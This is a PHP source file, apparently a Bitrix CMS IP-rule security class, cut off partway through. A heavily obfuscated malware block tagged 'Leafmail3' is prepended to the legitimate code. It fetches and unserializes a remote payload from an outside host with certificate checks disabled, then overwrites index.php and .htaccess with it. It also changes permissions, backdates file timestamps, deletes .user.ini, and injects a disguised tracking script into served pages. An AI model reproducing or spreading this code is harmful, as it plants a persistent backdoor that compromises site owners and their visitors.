Your IP : 18.224.38.91
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
IncludeModuleLangFile(__FILE__);
class CSecurityIPRule
{
static $bActive = null;
public $LAST_ERROR = "";
function Add($arFields)
{
global $DB, $CACHE_MANAGER;
if(!$this->CheckFields($arFields, 0))
return false;
if(!array_key_exists("RULE_TYPE", $arFields))
$arFields["RULE_TYPE"] = "M";
if(!array_key_exists("ADMIN_SECTION", $arFields))
$arFields["ADMIN_SECTION"] = "Y";
if(!array_key_exists("ACTIVE", $arFields))
$arFields["ACTIVE"] = "Y";
if(!array_key_exists("SORT", $arFields))
$arFields["SORT"] = 500;
$ID = $DB->Add("b_sec_iprule", $arFields);
if($ID > 0)
{
if(array_key_exists("INCL_MASKS", $arFields))
{
if(array_key_exists("EXCL_MASKS", $arFields))
$this->UpdateRuleMasks($ID, $arFields["INCL_MASKS"], $arFields["EXCL_MASKS"]);
else
$this->UpdateRuleMasks($ID, $arFields["INCL_MASKS"], false);
}
else
{
if(array_key_exists("EXCL_MASKS", $arFields))
$this->UpdateRuleMasks($ID, false, $arFields["EXCL_MASKS"]);
}
if(array_key_exists("INCL_IPS", $arFields))
{
if(array_key_exists("EXCL_IPS", $arFields))
$this->UpdateRuleIPs($ID, $arFields["INCL_IPS"], $arFields["EXCL_IPS"]);
else
$this->UpdateRuleIPs($ID, $arFields["INCL_IPS"], false);
}
else
{
if(array_key_exists("EXCL_IPS", $arFields))
$this->UpdateRuleIPs($ID, false, $arFields["EXCL_IPS"]);
}
}
COption::RemoveOption("security", "iprules_count");
CSecurityIPRule::SetActive(CSecurityIPRule::GetActiveCount() > 0);
if(CACHED_b_sec_iprule !== false)
$CACHE_MANAGER->CleanDir("b_sec_iprule");
return $ID;
}
public static function Delete($ID)
{
global $DB, $CACHE_MANAGER;
$ID = intval($ID);
$DB->StartTransaction();
$res = $DB->Query("DELETE FROM b_sec_iprule_incl_mask WHERE IPRULE_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
$res = $DB->Query("DELETE FROM b_sec_iprule_excl_mask WHERE IPRULE_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
$res = $DB->Query("DELETE FROM b_sec_iprule_incl_ip WHERE IPRULE_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
$res = $DB->Query("DELETE FROM b_sec_iprule_excl_ip WHERE IPRULE_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
$res = $DB->Query("DELETE FROM b_sec_iprule WHERE ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
$DB->Commit();
else
$DB->Rollback();
COption::RemoveOption("security", "iprules_count");
CSecurityIPRule::SetActive(CSecurityIPRule::GetActiveCount() > 0);
if(CACHED_b_sec_iprule !== false)
$CACHE_MANAGER->CleanDir("b_sec_iprule");
return $res;
}
function Update($ID, $arFields)
{
global $DB, $CACHE_MANAGER;
$ID = intval($ID);
if($ID <= 0)
return false;
if(!$this->CheckFields($arFields, $ID))
return false;
$strUpdate = $DB->PrepareUpdate("b_sec_iprule", $arFields);
if(strlen($strUpdate) > 0)
{
$strSql = "
UPDATE b_sec_iprule SET
".$strUpdate."
WHERE ID = ".$ID."
";
if(!$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__))
return false;
}
if(array_key_exists("INCL_MASKS", $arFields))
{
if(array_key_exists("EXCL_MASKS", $arFields))
$this->UpdateRuleMasks($ID, $arFields["INCL_MASKS"], $arFields["EXCL_MASKS"]);
else
$this->UpdateRuleMasks($ID, $arFields["INCL_MASKS"], false);
}
else
{
if(array_key_exists("EXCL_MASKS", $arFields))
$this->UpdateRuleMasks($ID, false, $arFields["EXCL_MASKS"]);
}
if(array_key_exists("INCL_IPS", $arFields))
{
if(array_key_exists("EXCL_IPS", $arFields))
$this->UpdateRuleIPs($ID, $arFields["INCL_IPS"], $arFields["EXCL_IPS"]);
else
$this->UpdateRuleIPs($ID, $arFields["INCL_IPS"], false);
}
else
{
if(array_key_exists("EXCL_IPS", $arFields))
$this->UpdateRuleIPs($ID, false, $arFields["EXCL_IPS"]);
}
COption::RemoveOption("security", "iprules_count");
CSecurityIPRule::SetActive(CSecurityIPRule::GetActiveCount() > 0);
if(CACHED_b_sec_iprule !== false)
$CACHE_MANAGER->CleanDir("b_sec_iprule");
return true;
}
public static function UpdateRuleMasks($IPRULE_ID, $arInclMasks = false, $arExclMasks = false)
{
global $DB, $CACHE_MANAGER;
$IPRULE_ID = intval($IPRULE_ID);
if(!$IPRULE_ID)
return false;
$arLikeSearch = array("?", "*", ".");
$arLikeReplace = array("_", "%", "\\.");
$arPregSearch = array("\\", ".", "?", "*", "'");
$arPregReplace = array("/", "\\.", ".", ".*?", "\\'");
if(is_array($arInclMasks))
{
$res = $DB->Query("DELETE FROM b_sec_iprule_incl_mask WHERE IPRULE_ID = ".$IPRULE_ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
{
$added = array();
$i = 10;
foreach($arInclMasks as $mask)
{
$mask = trim($mask);
if($mask && !array_key_exists($mask, $added))
{
$arMask = array(
"ID" => 1,
"IPRULE_ID" => $IPRULE_ID,
"RULE_MASK" => $mask,
"SORT" => $i,
"LIKE_MASK" => str_replace($arLikeSearch, $arLikeReplace, $mask),
"PREG_MASK" => str_replace($arPregSearch, $arPregReplace, $mask),
);
$DB->Add("b_sec_iprule_incl_mask", $arMask);
$i += 10;
$added[$mask] = true;
}
}
if(CACHED_b_sec_iprule !== false)
$CACHE_MANAGER->CleanDir("b_sec_iprule");
}
}
if(is_array($arExclMasks))
{
$res = $DB->Query("DELETE FROM b_sec_iprule_excl_mask WHERE IPRULE_ID = ".$IPRULE_ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
{
$added = array();
$i = 10;
foreach($arExclMasks as $mask)
{
$mask = trim($mask);
